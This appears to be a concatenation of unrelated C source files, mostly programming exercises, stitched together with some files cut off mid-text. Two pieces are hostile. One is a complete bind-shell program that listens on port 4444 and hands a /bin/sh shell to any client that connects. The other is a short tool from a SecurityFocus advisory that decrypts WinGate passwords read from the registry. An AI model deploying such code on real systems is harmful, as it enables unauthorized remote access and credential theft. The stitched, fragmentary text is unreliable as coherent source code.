set_short("Realm of the Dwarf: Tunneled out Cavern");
set_zone("CAVE");
set_light(40);
set_long("\n Realm of the Dwarf: Tunneled out Cavern\n\n"
" Someone has obviouislsly carved out a very large tunnel in "
"the cave wall. This tunnel is high enough that you only "
"need to stoop down slightly to avoid scratching your head "
"against the ceiling. The floor, walls, and ceiling are "
"rather smooth, however you can see the marks left by "
"the picks or other tools that were used to form this "
"tunnel. This tunnel continues to the south and the main "
"cave is to the east. "
"\n\n");
add_exit("south",ROOM+"dwarf81","path");
add_exit("east",ROOM+"dwarf79","path");
}
|
C
|
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#define BIND_PORT 4444
int main()
{
//Defintion of the structers and variables
int server_socket;
int client_socket;
char *arg[]={"/bin/sh",0};
struct sockaddr_in server, client;
int sockaddr_len=sizeof(struct sockaddr_in);
//End of the definition
server_socket=socket(AF_INET, SOCK_STREAM, 0); //Create a socket
server.sin_family=AF_INET; //The protocol IP4=AF_INET is used
server.sin_port=htons(BIND_PORT); //Setting the listening port(4444)
server.sin_addr.s_addr=INADDR_ANY; //
bzero(&server.sin_zero,8); // Setting the rest of the struct 0
bind(server_socket, (struct sockaddr *) &server, sockaddr_len); //Systemcall of bind
listen(server_socket,2); //Systemcall Listen
client_socket=accept(server_socket,(struct sockaddr *) &client, &sockaddr_len ); //Systemcall of accept
close(server_socket);
//Building afile descriptors for standard input(0), standard output(1) and standard error(2)
dup2(client_socket,0);
dup2(client_socket,1);
dup2(client_socket,2);
execve(arg[0],&arg[0],NULL); //Systemcall execve
}
|
C
|
#include <stdio.h>
int main()
{
int x;
float y,z;
x = 10/3;
y = x/3;
z = x+y;
printf("y= %f, z=%f\n",y,z );
return 0;
}
|
C
|
#include <stdio.h>
#include <stdlib.h>
#define MAX 100000
int sorted[MAX];
void merge(int list[], int left, int mid, int right);
void merge_sort(int list[], int left, int right);
int main (void)
{
int i,j,n;
int max_weight = 0;
int count = 0;
int max_carriers = 0;
int bag[MAX];
scanf("%d", &max_weight);
i = 0;
while( scanf("%d", &bag[i]) != EOF){
i++;
}
n = i;
merge_sort(bag, 0, n-1);
i = 0;
j = n-1;
while(i < j){
if(bag[i] + bag[j] <= max_weight){
max_carriers++;
i++;
j--;
} else {
max_carriers++;
j--;
}
}
printf("%d", max_carriers);
// printf("-------------------\n");
// for(i = 0; i < n; n++){
// printf("%d ", bag[i]);
// }
return 0;
}
void merge(int list[], int left, int mid, int right)
{
int i, j, k, l;
i = left;
j = mid+1;
k = left;
while(i<=mid && j<=right){
if(list[i] <= list[j])
sorted[k++] = list[i++];
else
sorted[k++] = list[j++];
}
if(i>mid){
for(l=j; l<=right; l++)
sorted[k++] = list[l];
}
else{
for(l=i; l<=mid; l++)
sorted[k++] = list[l];
}
for(l=left; l<=right; l++){
list[l] = sorted[l];
}
}
void merge_sort(int list[], int left, int right){
int mid;
if(left<right){
mid = (left+right)/2;
merge_sort(list, left, mid);
merge_sort(list, mid+1, right);
merge(list, left, mid, right);
}
}
|
C
|
#include <stdio.h>
#include <stdint.h>
#include <math.h>
#include <stdlib.h>
#include <assert.h>
#include <string.h>
/*
n! means n × (n − 1) × ... × 3 × 2 × 1
For example, 10! = 10 × 9 × ... × 3 × 2 × 1 = 3628800,
and the sum of the digits in the number 10! is 3 + 6 + 2 + 8 + 8 + 0 + 0 = 27.
Find the sum of the digits in the number 100!
Digit at place 1: is ...1 x ....2 x ....3 x blah, a hundred times
Which is 1^10 x 2^10 etc = means we find that digit
Can we do the same for all digits?
I think we can, but I'd have to go find that book.
if we calculate this doing repeated addition:
1x2x3x4=
1: 1 = 1
2: 1+1 = 2
3: 2+2+2 = 6
4: 6+6+6+6 = 24
etc
that is 100*101/2=5050 additions of vectors of length say 200 = 1.010.000 additions which is very doable.
*/
void add_digit_vectors( int* accumulator, int* number, int size ) {
// now perform old skool digit by digit addition
int carry = 0;
int next = 0;
for(int i=0; i<size; i++) {
next = accumulator[i] + number[i] + carry;
carry = 0;
if( next > 9 ) {
next -= 10;
carry = 1;
}
accumulator[i] = next;
}
}
void mul_digit_vectors( int* accumulator, int n, int size ) {
int temp[size];
memcpy( temp, accumulator, sizeof(temp) );
for( int j=1; j<n; j++ ) {
add_digit_vectors( accumulator, temp, size );
}
}
void print_vector( int* vector, int size ) {
for( int i=size-1; i>=0; i-- ) {
printf("%d", vector[i]);
}
printf("\n");
}
uint64_t factorial( int n ) {
uint64_t result = 1;
for( int i=1; i<=n; i++ ) {
result *= i;
}
return result;
}
int main(int argc, char** argv) {
uint64_t result = 0;
int n = 100;
int vector_size = 160;
int accumulator[vector_size];
memset( accumulator, 0, sizeof(accumulator) );
accumulator[0] = 1;
for( int i=1; i<=n; i++ ) {
mul_digit_vectors( accumulator, i, vector_size );
// print_vector( accumulator, vector_size );
}
// sum the digits
for( int i=0; i<vector_size; i++ ) {
result += accumulator[i];
}
printf("Problem 020: %llu\n", result);
}
|
C
|
#include<stdio.h>
#include<string.h>
struct index
{
int srno;
char region[30];
char ip[30];
int load;
float lat;
float lon;
};
int main()
{
int i;
struct index arr_index[7];
arr_index[0].srno = 1;
strcpy(arr_index[0].region, "Malaysia" );
strcpy(arr_index[0].ip, "202.185.107.23");
arr_index[0].load = 345;
arr_index[0].lat = 2.3167;
arr_index[0].lon = 111.55;
arr_index[1].srno = 2;
strcpy(arr_index[1].region, "Sri Lanka" );
strcpy(arr_index[1].ip, "220.247.227.202");
arr_index[1].load = 123;
arr_index[1].lat = 7;
arr_index[1].lon = 81;
arr_index[2].srno = 3;
strcpy(arr_index[2].region, "Thailand" );
strcpy(arr_index[2].ip, "158.108.216.5");
arr_index[2].load = 254;
arr_index[2].lat = 13.75;
arr_index[2].lon = 100.4833;
arr_index[3].srno = 4;
strcpy(arr_index[3].region, "Kolkata " );
strcpy(arr_index[3].ip, "203.197.118.81");
arr_index[3].load = 323;
arr_index[3].lat = 22.5667;
arr_index[3].lon = 88.3667;
arr_index[4].srno = 5;
strcpy(arr_index[4].region, "Karachi " );
strcpy(arr_index[4].ip, "124.29.236.154 ");
arr_index[4].load = 498;
arr_index[4].lat = 24.86;
arr_index[4].lon = 67.01;
arr_index[5].srno = 6;
strcpy(arr_index[5].region, "Egypt " );
strcpy(arr_index[5].ip, "195.246.42.198");
arr_index[5].load = 207;
arr_index[5].lat = 26;
arr_index[5].lon = 30;
arr_index[6].srno = 7;
strcpy(arr_index[6].region, "Japan " );
strcpy(arr_index[6].ip, "133.3.250.46");
arr_index[6].load = 187;
arr_index[6].lat = 35;
arr_index[6].lon = 136;
arr_index[7].srno = 8;
strcpy(arr_index[7].region, "Italy " );
strcpy(arr_index[7].ip, "159.149.53.216");
arr_index[7].load = 282;
arr_index[7].lat = 41.9;
arr_index[7].lon = 12.5;
printf("\t \t\t \t\t \t INDEX TABLE OF CLOUD NODES\n\n\n\n");
for(i=0;i<8;i++)
printf("\n\t\t%d\t%s\t%s\t%d\t%f\t%f", arr_index[i].srno,arr_index[i].region,arr_index[i].ip,arr_index[i].load,arr_index[i].lat,arr_index[i].lon);
return 0;
}
|
C
|
#include <ctype.h>
#include <stdio.h>
#include <string.h>
/*
* Exercise 20
* Page: 126
* Expand dcl to handle declarations with function argument types , qualifiers
* like const, and so on
* */
/*
* Basically, this exercise is implementing the grammer described in Appendix
* A.8 (declarations) more or less
* */
/*
* so expanding dcl as it is will be too problematic with all the global
* variables and simple string handling
* so a complete rewrite is better */
/*
* storage-class-specifier:
* auto
* regisiter
* static
* extern
* typedef // only here for syntactic convenience
*
* */
static const char *const storage_class_specifiers[] = {
"auto", "register", "static", "extern", "typedef",
};
static const size_t sc_size = sizeof(storage_class_specifiers) / sizeof(char *);
/*
* type-specifier:
* void
* char
* short
* int
* long
* float
* double
* signed
* unsigend
* */
static const char *const type_specifiers[] = {"void", "char", "short",
"int", "long", "float",
"double", "signed", "unsigned"};
static const size_t ts_size = sizeof(type_specifiers) / sizeof(char *);
enum TS_E {
VOID = 1 << 0u,
CHAR = 1 << 1u,
SHORT = 1 << 2u,
INT = 1 << 3u,
LONG = 1 << 4u,
FLOAT = 1 << 5u,
DOUBLE = 1 << 6u,
SIGNED = 1 << 7u,
UNSIGNED = 1 << 8u,
};
/*
* type-qualifier:
* volatile
* const
* */
static const char *const type_qualifiers[] = {
"volatile",
"const",
};
static const size_t tq_size = sizeof(type_qualifiers) / sizeof(char *);
/*
* declaration:
* declaration-specifers declarator;
*
* */
static int declaration(char declaration[], int len, int function_declaration);
/*
* declaration-specifers:
* storage-class-specifier decalaration-specifiers_optional
* type-specifier decalaration-specifiers_optional
* type-qualifier decalaration-specifiers_optional
*
*
* */
static int decl_specifers(char specifiers_str[], int len, int sc_check,
unsigned int ts_check, int tq_check);
/*
* declarator:
* pointer direct-declarator
* */
static int dcl(char dcl_str[], int len);
/*
* pointer:
* * type-qualifier-list
* * type-qualifier-list pointer_optional
* */
static int pointer(char pointer_str[], int len);
/*
* type-qualifier-list:
* type-qualifier
* type-qualifier-list type-qualifier
*
* */
static int type_qualifiers_list(char type_qualifiers_str[], int len);
/*
* direct-declartor:
* identifier
* ( declarator )
* direct-declarator [ constant-expression_optional ]
* direct-declarator ( parameter-list_optional )
* */
static int direct_dcl(char direct_dcl_str[], int len);
/*
* parameter-list:
* declaration
* parameter-list , declaration
*
* */
static int parameter_list(char parameter_list_str[], int len);
/*
* identifier:
* _ or letters followed by _ , letters or numbers
*
* */
static int identifier(char identifier_str[], int len);
#define MAXTOKEN 1000
#define MAXLEN 10000
static int get_line(/*@out@*/ char s[], int lim);
static char out[MAXLEN * 3] = "";
int main(void) {
char line[MAXLEN] = "";
int len = 0;
while ((len = get_line(line, MAXLEN)) > 0) {
line[len - 1] = '\0';
if (declaration(line, len - 1, 0) == 1) {
printf("Syntax Error\n");
} else {
printf("%s\n", out);
}
printf("\n");
printf("--------------------------%s\n", line);
printf("\n");
out[0] = '\0';
}
return 0;
}
static int isblankstr(char *str, int len);
static int arraycmp(const char *const array[], int array_size, char *arg);
static int isvalid_type_specifier(int match, unsigned int ts_check);
static int declaration(char declaration[], int len, int function_declaration) {
char *split_ptr = declaration;
#ifdef NDEBUG
printf("DECL: ||%.*s||", len, declaration);
#endif
int decl_specifers_check = 0;
if (isblankstr(split_ptr, len) == 1) {
return 0;
}
do {
const char *result = NULL;
int match = 0;
while (isspace(*split_ptr)) {
split_ptr++;
len--;
}
if ((match = arraycmp(storage_class_specifiers, (int)sc_size,
split_ptr)) >= 0) {
if (function_declaration == 1) {
printf(
"Error: storage class specifier in function declarator\n");
return 1;
}
result = storage_class_specifiers[match];
} else if ((match = arraycmp(type_specifiers, (int)ts_size,
split_ptr)) >= 0) {
result = type_specifiers[match];
} else if ((match = arraycmp(type_qualifiers, (int)tq_size,
split_ptr)) >= 0) {
result = type_qualifiers[match];
} else {
decl_specifers_check = 0;
}
if (result != NULL) {
split_ptr += strlen(result);
len -= strlen(result);
if (isspace(*split_ptr) || *split_ptr == '\0') {
decl_specifers_check = 1;
} else {
decl_specifers_check = 0;
if (*split_ptr != '(') {
split_ptr -= strlen(result);
len += strlen(result);
}
}
}
} while (decl_specifers_check == 1);
if (isblankstr(split_ptr, len) == 1) {
printf("Error: Unknown Identifier\n");
return 1;
}
int error = 0;
error = dcl(split_ptr, len);
error |= decl_specifers(declaration, split_ptr - declaration, 0, 0, -1);
return error;
}
static int decl_specifers(char specifiers_str[], int len, int sc_check,
unsigned int ts_check, int tq_check) {
char *split_ptr = specifiers_str;
int storgage_class = 0;
if (isblankstr(split_ptr, len) == 1) {
if (!(ts_check & (VOID | DOUBLE | FLOAT | INT | CHAR))) {
strcat(out, "int ");
}
return 0;
}
int match = 0;
const char *result = NULL;
while (isspace(*split_ptr)) {
split_ptr++;
len--;
}
if ((match = arraycmp(storage_class_specifiers, (int)sc_size, split_ptr)) >=
0) {
if (sc_check == 1) {
printf("Error: too Many storage class specifiers\n");
return 1;
} else {
storgage_class = 1;
result = storage_class_specifiers[match];
sc_check = 1;
}
} else if ((match = arraycmp(type_specifiers, (int)ts_size, split_ptr)) >=
0) {
if (!isvalid_type_specifier(match, ts_check)) {
printf("Error: incompatable Type specifiers\n");
return 1;
} else {
result = type_specifiers[match];
ts_check |= 1 << (unsigned int)match;
}
} else if ((match = arraycmp(type_qualifiers, (int)tq_size, split_ptr)) >=
0) {
if (match == tq_check) {
printf("Error: Repeating Type Qualifier\n");
return 1;
} else {
result = type_qualifiers[match];
tq_check = match;
}
} else {
return 1;
}
if (result != NULL) {
if (storgage_class == 1) {
char temp[MAXLEN] = "";
strcpy(temp, out);
sprintf(out, "%s %s", result, temp);
} else {
strcat(out, result);
strcat(out, " ");
}
split_ptr += strlen(result);
return decl_specifers(split_ptr, (int)(len - strlen(result)), sc_check,
ts_check, tq_check);
}
return 1;
}
static int dcl(char dcl_str[], int len) {
char *split_ptr = dcl_str;
int pointer_check = 0;
if (isblankstr(split_ptr, len) == 1) {
return 0;
}
do {
int match = 0;
while (isspace(*split_ptr) || *split_ptr == '*') {
split_ptr++;
len--;
}
if ((match = arraycmp(type_qualifiers, (int)tq_size, split_ptr)) >= 0) {
split_ptr += strlen(type_qualifiers[match]);
if (isspace(*split_ptr) || *split_ptr == '\0' ||
*split_ptr == '*') {
len -= strlen(type_qualifiers[match]);
pointer_check = 1;
} else {
pointer_check = 0;
if (*split_ptr != '(') {
split_ptr -= strlen(type_qualifiers[match]);
}
}
} else {
pointer_check = 0;
}
} while (pointer_check == 1);
int error = 0;
error = direct_dcl(split_ptr, len);
error |= pointer(dcl_str, split_ptr - dcl_str);
return error;
}
static int pointer(char pointer_str[], int len) {
char *split_ptr = pointer_str;
if (isblankstr(split_ptr, len) == 1) {
return 0;
}
while (isspace(*split_ptr)) {
split_ptr++;
len--;
}
if (*split_ptr == '*') {
split_ptr++;
pointer_str = split_ptr;
len--;
} else {
printf("Error: Unknown Pointer Error\n");
return 1;
}
while (*split_ptr != '*' && len > 0) {
split_ptr++;
len--;
}
int error = 0;
error = type_qualifiers_list(pointer_str, split_ptr - pointer_str);
strcat(out, "pointer to ");
error |= pointer(split_ptr, len);
return error;
}
static char *reverse_matchfind(char *str, char *str_end, char set[3]) {
int paran = 0;
while (str <= str_end) {
if (*str_end == set[1]) {
paran++;
} else if (*str_end == set[0]) {
paran--;
}
if (paran == 0) {
return str_end;
}
str_end--;
}
return NULL;
}
static int direct_dcl(char direct_dcl_str[], int len) {
#ifdef NDEBUG
printf("DIRECT_DCL:||%.*s||\n", len, direct_dcl_str);
#endif
char *split_ptr = direct_dcl_str;
/* handling empty string */
if (isblankstr(direct_dcl_str, len) == 1) {
printf("Error: Unknown Identifier\n");
return 1;
}
/* skipping blanks */
while (isspace(*split_ptr) == 1) {
split_ptr++;
len--;
}
/* checking for functions/arrays and function parameters */
char *identifier_ptr_check = strpbrk(split_ptr, "()[],");
/* if none is found or outside the scope of the direct dcl then it's a
* identifier */
if (identifier_ptr_check == NULL ||
identifier_ptr_check - split_ptr >= len) {
return identifier(split_ptr, len);
}
/*trimming trailling white space */
char *str_end_ptr = split_ptr + len - 1;
while (isspace(*str_end_ptr)) {
str_end_ptr--;
len--;
}
if (*str_end_ptr == ')') { /* a function or (dcl)*/
char *matching_paran = reverse_matchfind(split_ptr, str_end_ptr, "()");
if (matching_paran == NULL) {
printf("Error: Unbalanced paranethesis\n");
} else if (matching_paran != split_ptr) { /* a function */
int error = 0;
error = direct_dcl(split_ptr, matching_paran - split_ptr);
strcat(out, "function taking (");
error |= parameter_list(matching_paran + 1,
str_end_ptr - matching_paran - 1);
strcat(out, ") ");
strcat(out, "returning ");
return error;
} else { /* (dcl) */
/* skipping the () */
if (isblankstr(split_ptr + 1, str_end_ptr - split_ptr - 1) == 1) {
/* blank dcl in this context is invalid */
printf("Error: Unknown Identifier\n");
return 1;
}
/*skipping the () */
return dcl(split_ptr + 1, str_end_ptr - split_ptr - 1);
}
} else if (*str_end_ptr == ']') { /* array index */
char *matching_brackets =
reverse_matchfind(split_ptr, str_end_ptr, "[]");
if (matching_brackets == NULL) {
printf("Error: Unbalanced brackets\n");
} else if (matching_brackets != split_ptr) { /* array */
int error = 0;
len -= matching_brackets - split_ptr;
error = direct_dcl(split_ptr, matching_brackets - split_ptr);
matching_brackets++; /*skipping the [ */
len--;
while (matching_brackets != str_end_ptr--) {
/* only digits and spaces are allowed inside an array index */
if (!isspace(*str_end_ptr) && !isdigit(*str_end_ptr)) {
printf("Error: Invalid Array Index\n");
return 1;
}
}
strcat(out, "array [");
strncat(out, matching_brackets, len - 1);
strcat(out, "] of ");
return error;
} else { /* array with no identifer */
printf("Error: Array Index with No Identifier\n");
}
} else { /* any other error */
printf("Error: Invalid Direct Declaration\n");
return 1;
}
return 1;
}
static int parameter_list(char parameter_list_str[], int len) {
char *split_ptr = parameter_list_str;
if (isblankstr(split_ptr, len) == 1) {
return 0;
}
#ifdef NDEBUG
printf("PARAM_LIST:||%.*s||\n", len, parameter_list_str);
#endif
while (*split_ptr != ',' && len > 0) {
split_ptr++;
len--;
}
int error = 0;
error = declaration(parameter_list_str, split_ptr - parameter_list_str, 1);
strcat(out, ", ");
error |= parameter_list(split_ptr + 1, len - 1);
return error;
}
static int isvalid_identifier(char *str, int len) {
if (isalpha(*str) || *str == '_') {
while (--len > 0) {
if (!(isalnum(*str) || *str == '_')) {
return 0;
} else if (isspace(*str)) {
return 1;
}
}
} else {
return 0;
}
return 1;
}
static int identifier(char identifier_str[], int len) {
char *str_ptr = identifier_str;
while (isblankstr(str_ptr, len) == 1) {
printf("\n Error: Unknown Identifier\n");
return 1;
}
while (isspace(*str_ptr)) {
str_ptr++;
len--;
}
if (isvalid_identifier(str_ptr, len) == 1) {
strncat(out, str_ptr, len);
strcat(out, ": ");
return 0;
} else {
printf("Error: InValid Identifier\n");
return 1;
}
}
static int type_qualifiers_list(char type_qualifiers_str[], int len) {
if (isblankstr(type_qualifiers_str, len) == 1) {
return 0;
}
strncat(out, type_qualifiers_str, len);
strcat(out, " ");
return 0;
}
static int arraycmp(const char *const array[], int array_size, char *arg) {
int result = -1;
int i = 0;
for (i = 0; i < array_size; i++) {
if (strncmp(array[i], arg, strlen(array[i])) == 0) {
result = i;
break;
}
}
return result;
}
static int isblankstr(char *str, int len) {
int result = 1;
int i = 0;
for (i = 0; i < len; i++) {
if ((!isspace(str[i]))) {
result = 0;
break;
}
}
return result;
}
static int isvalid_type_specifier(int match, unsigned int ts_check) {
enum TS_E matched = (int)(1 << (unsigned int)match);
/* handles repeated types */
if (ts_check & matched) {
return 0;
}
/* void handling */
if (ts_check & VOID) {
return 0;
}
if ((ts_check & VOID) && (matched & VOID)) {
return 0;
}
/* incompatible types length */
if ((ts_check & (LONG | SHORT | CHAR | FLOAT)) &&
(matched & (LONG | SHORT | CHAR | FLOAT))) {
return 0;
}
/* incompatible type sign */
if ((ts_check & (SIGNED | UNSIGNED | FLOAT | DOUBLE)) &&
(matched & (SIGNED | UNSIGNED | FLOAT | DOUBLE))) {
return 0;
}
/* incompatible types type */
if ((ts_check & (INT | FLOAT | DOUBLE | CHAR)) &&
(matched & (INT | FLOAT | DOUBLE | CHAR))) {
return 0;
}
/* long double exception */
if ((ts_check & (DOUBLE | SHORT | CHAR)) &&
(matched & (DOUBLE | SHORT | CHAR))) {
return 0;
}
return 1;
}
int get_line(char s[], int lim) {
int c, i;
i = 0;
while (--lim > 0 && (c = getchar()) != EOF && c != (int)'\n') {
s[i++] = (char)c;
}
if (c == (int)'\n') {
s[i++] = (char)c;
}
s[i] = '\0';
return i;
}
|
C
|
#include <stdio.h>
#include <math.h>
#define N 100
int n;
long double x[N];
long double y[N];
long double c0, c1;
void scanVector(long double *v) {
for (int i=0;i<n;i++) {
scanf("%Lf", v+i);
}
}
void getLine() {
long double sumX = 0;
long double sumY = 0;
long double sumX2 = 0;
long double sumXY = 0;
for (int i=0; i<n; i++) {
sumX += x[i];
sumY += y[i];
sumX2 += x[i]*x[i];
sumXY += x[i]*y[i];
}
c0 = (sumX2*sumY-sumXY*sumX)/(n*sumX2-sumX*sumX);
c1 = (sumY*sumX-n*sumXY)/(sumX*sumX-n*sumX2);
}
long double f(long double x) {
return c1*x + c0;
}
long double average(long double *v) {
long double r = 0;
for (int i=0; i<n; i++) {
r += v[i];
}
r /= n;
return r;
}
long double r2() {
long double ym = average(y);
long double sum1 = 0;
long double sum2 = 0;
for (int i=0; i<n; i++) {
sum1 += pow(y[i] - f(x[i]), 2);
sum2 += pow(y[i] - ym, 2);
}
return 1.0 - (sum1/sum2);
}
int main() {
printf("Digite o número de pontos\n");
scanf("%d", &n);
printf("Digite os n+1 valores de x dos pontos, separados por espaço\n");
scanVector(x);
printf("Digite os n+1 valores de y dos pontos, separados por espaço\n");
scanVector(y);
getLine();
printf("Equação da reta: ");
printf("y = %Lfx + %Lf\n", c1, c0);
printf("r2 = %Lf\n", r2());
printf("agora digite x para saber o valor de f(x)\n");
long double x0;
while (1) {
scanf("%Lf", &x0);
printf("%Lf\n", f(x0));
}
}
|
C
|
#pragma region Một số lưu ý (PHẢI ĐỌC)
//Bài này tui code theo cách nhập điều kiện từ bàn phím (VD mng muốn tìm lớp CTK44 thì phải nhập CTK44 vô).
//Tui biết thầy yêu cầu phải thực hiện trực tiếp (không nhập điều kiện từ bàn phím) nhưng đây là 1 bài tập để ôn
//và tui cần phải kiểm tra xem hàm có chạy đúng với mọi trường hợp hay không.
//Mọi người có thể sửa lại để chương trình chạy trực tiếp cũng được.
//Cảm ơn mọi người nhe (~o ̄3 ̄)~
#pragma endregion
int SuaDiemTichLuyCuaHocVien(char *maHocVien, int dTL, BSTree &root)
{
BSTree p = Search(maHocVien, root);
if (p == NULL)
return 0;
else
{
p->key.tichLuy = dTL;
return 1;
}
}
int XoaHocVien(char *maHocVien, BSTree &root)
{
BSTree p = Search(maHocVien, root);
if (p == NULL)
return 0;
else
return Delete_Node(p->key, root);
}
void TrichDanhSachLop(char *lop,BSTree root)
{
if (root != NULL)
{
TrichDanhSachLop(lop, root->left);
if (strcmp(lop, root->key.lop) == 0)
Xuat1HocVien(root->key);
TrichDanhSachLop(lop, root->right);
}
}
void XuatDanhSachLop(char *lop, BSTree root)
{
Line();
Title();
Line();
TrichDanhSachLop(lop, root);
Line();
}
|
C
|
source: http://www.securityfocus.com/bid/511/info
WinGate stores encrypted passwords in the registry, in a subkey where Everyone has Read access by default. The encryption scheme is weak, and therefore anyone can get and decrypt them.
#include "stdafx.h"
#include <stdio.h>
#include <string.h>
main(int argc, char *argv[]) {
char i;
for(i = 0; i < strlen(argv[1]); i++)
putchar(argv[1][i]^(char)((i + 1) << 1));
return 0;
}
|
C
|
//
// LCBXXZDChapterThreeAlgorithmDesignEleven.c
// DataStructurePractice
//
// Created by ly on 2018/5/28.
// Copyright © 2018年 LY. All rights reserved.
//
#include "LCBXXZDChapterThreeAlgorithmDesignEleven.h"
#define MaxSize 10
typedef struct {
int data[MaxSize];
int frontHead ;
int frontTail ;
}DSqQueueScore;
bool outPutScoreByDegree(int score[],int number) {
DSqQueueScore queue ;
queue.frontHead = 0 ;
queue.frontTail = 0 ;
for (int i = 0; i<number; i++) {
if (score[i] >= 90) {
printf("%d-A\n",score[i]);
}else if (score[i] < 60 ){
if ((queue.frontTail + 1) % MaxSize == queue.frontHead) {
return false ;
}
queue.frontTail = (queue.frontTail + 1) % MaxSize ;
queue.data[queue.frontTail] = score[i];
}else{
if ((queue.frontHead - 1 + MaxSize) % MaxSize == queue.frontTail) {
return false ;
}
queue.data[queue.frontHead] = score[i];
queue.frontHead = (queue.frontHead - 1 + MaxSize) % MaxSize ;
}
}
while (queue.frontHead != queue.frontTail) {
queue.frontHead = (queue.frontHead + 1 )% MaxSize ;
if (queue.data[queue.frontHead] < 60) {
printf("%d-C\n",queue.data[queue.frontHead]);
}else{
printf("%d-B\n",queue.data[queue.frontHead]);
}
}
return true ;
}
|
C
|
#ifdef COMMENT
Proprietary Rand Corporation, 1981.
Further distribution of this software
subject to the terms of the Rand
license agreement.
#endif
#include "../h/stat.h"
#include "../h/dirent.h"
struct dirinfo {
struct dirent dir;
char null;
int dotino;
int dotdotino;
};
char *rootlist[] {
"/",
"/rnd/",
"/mnt/",
"/sys/",
"/bak/",
"/fsd/",
0
};
gwd()
{
return(fullpath(0));
}
fullpath(str)
char *str;
{
static char wdbuf[128];
struct dirinfo d;
register char *wp, *cp, **cpp;
int fino;
char *savewp, *markwp;
int dotdev;
struct inode statb;
wp = &wdbuf + 1;
*--wp = 0;
markwp = 0;
if (str) {
wp = prepend(str, wp);
if (*wp == '/') return(wp);
*--wp = 0;
markwp = wp;
}
fino = 0;
for (;;) {
wp = scandir(&d, fino, wp);
if (d.dotino != d.dotdotino) {
fino = d.dotino;
chdir("..");
continue;
}
savewp = wp;
if (d.dotino != ROOTINO) break; /* error */
stat(".", &statb);
dotdev = statb.i_dev;
for (cpp = rootlist; cp = *cpp++; ) {
if (stat(cp, &statb) < 0) continue;
if (statb.i_dev == dotdev) {
wp = prepend(cp, wp);
break;
}
}
break;
}
chdir(savewp);
if (markwp) *markwp = '/';
return(wp);
}
scandir(dp, fileino, endwhere)
struct dirinfo *dp;
char *endwhere;
{
register struct dirinfo *d;
register char *cp, *wp;
int fh;
d = dp;
d->dotino = 0;
d->dotdotino = 0;
if (fileino == 0) wp = endwhere;
else wp = 0;
fh = open(".", 0);
if (fh < 0) return(wp);
while ((!d->dotino || !d->dotdotino || !wp) &&
read(fh, &d->dir, sizeof d->dir) == sizeof d->dir) {
if (d->dir.d_ino == NULLINO) continue;
if (!d->dotino && equal(d->dir.d_name, "."))
d->dotino = d->dir.d_ino;
else if (!d->dotdotino && equal(d->dir.d_name, ".."))
d->dotdotino = d->dir.d_ino;
else if (!wp && d->dir.d_ino == fileino) {
/* ensure name is null term'd */
d->null = 0;
wp = endwhere;
/* separate with '/' */
if (*wp) *--wp = '/';
wp = prepend(d->dir.d_name, wp);
}
}
close(fh);
return(wp);
}
prepend(prefix, endwhere)
char *prefix, *endwhere;
{
register char *cp, *wp;
for (cp = prefix; *cp++; );
--cp;
for (wp = endwhere; cp > prefix; *--wp = *--cp);
return(wp);
}
|
C
|
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <setjmp.h>
#include <signal.h>
static void ssu_signal_handler1(int signo);
static void ssu_signal_handler2(int signo);
sigjmp_buf jmp_buf1;
sigjmp_buf jmp_buf2;
int main(void){
struct sigaction act_sig1;
struct sigaction act_sig2;
int i, ret;
printf("My PID is %d\n", getpid());
ret = sigsetjmp(jmp_buf1, 1); //jmp_buf1 jump될 위치를 설정
if(ret==0){
act_sig1.sa_handler = ssu_signal_handler1; //sa_handler는 ssu_handler_handler1의 주소를 가짐
sigaction(SIGINT, &act_sig1, NULL); //SIGINT 시그널에 관한 액션을 변경해서 확인
}
else if (ret == 3) //SIGINT 입력시 리턴 값 3
printf("------------\n");
printf("Starting\n");
sigsetjmp(jmp_buf2, 2); //jmp_buf2 jump 될 위치를 설정
act_sig2.sa_handler = ssu_signal_handler2; //sa_handler는 ssu_signal_handler2의 주소를 가짐
sigaction(SIGUSR1, &act_sig2, NULL); //SIGUSR1 시그널에 관한 액션을 변경해서 확인
for(i = 0 ; i< 20 ; i++){
printf("i = %d\n", i);
sleep(1);
}
exit(0);
}
static void ssu_signal_handler1(int signo){
fprintf(stderr, "\nInterrupted\n");
siglongjmp(jmp_buf1, 3); //이전에 지정한 위치로 점프
}
static void ssu_signal_handler2(int signo){
fprintf(stderr, "\nSIGUSR1\n");
siglongjmp(jmp_buf2, 2); //이전에 지정한 위치로 점프
}
|
C
|
/************************************************************************************************************************************************************
Title : Read int using char datatype
Author : T VINODH KUMAR
Date : 12/11/2017
description : Read the character from the user using getchar and put in one variable to dispaly in form of int
************************************************************************************************************************************************************/
#include<stdio.h>
int main()
{
char option;
do
{
char ch_digit;
int result = 0, flag = 0;
//prompt the user for the character
printf("Enter the charcters :");
//get the input from the user untill new-line character
while((ch_digit = getchar()) != '\n')
{
if(ch_digit == '-')
{
//rise the flag if the given character has '-'
flag = 1;
}
else if(ch_digit < '0' || ch_digit > '9')
{
break;
}
else if (ch_digit >= '0' && ch_digit <= '9')
{
//convert the character into integers;
ch_digit = ch_digit - 48;
//add the digits to get an number and store back in result
result = result * 10 + (int)ch_digit;
}
}
//print -negative number if flag is rised
if(flag)
{
printf("Entered Digit is:%d", (result * (-1)));
}
else
{
printf("Entered Digit is:%d", result);
}
printf("\nDo you want to continue?[Y/N]:");
__fpurge(stdin);
scanf("\n%c", &option);
getchar();
}while (option == 'Y' || option == 'y');
return 0;
}
|
C
|
#include <stdio.h>
int main()
{
// printf("%tipo_de_saida", valor_a_ser_impresso);
// printf("%tipo1 %tipo2", var1, var2);
//int num = 11;
//printf("%i\n", num);
//float f = 2.2;
//printf("%f\n", f);
//integer %i ou %d
//float ou double %f
//char %c
//string %s
//u% módulo de um número
//%p endereço de memória
// %e ou %E para imprimir número com notação científica
//%% < para imprimir %
//int x = 10;
//printf("%i\n", x);
//float ff = 4.12;
//printf("%f", ff);
//printf(" %i - %f ", x, ff);
printf("Meu nome e %s, tenho %d anos e o meu aniversario e em %s/%s","Francisco",52,"12","06");
return 0;
}
|
C
|
#include<stdio.h>
int main()
{
float sum,term;
int x,n;
printf("enter value of x\n");
scanf("%d",&x);
sum=1;
term=1;n=1;
while(n<=100)
{
term=term*x/n;
sum=sum+term;
n++;
}
printf("sum= %f",sum);
return 0;
}
|
C
|
//Librerias usb y main
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <libudev.h>
#include <mntent.h> /*mtab*/
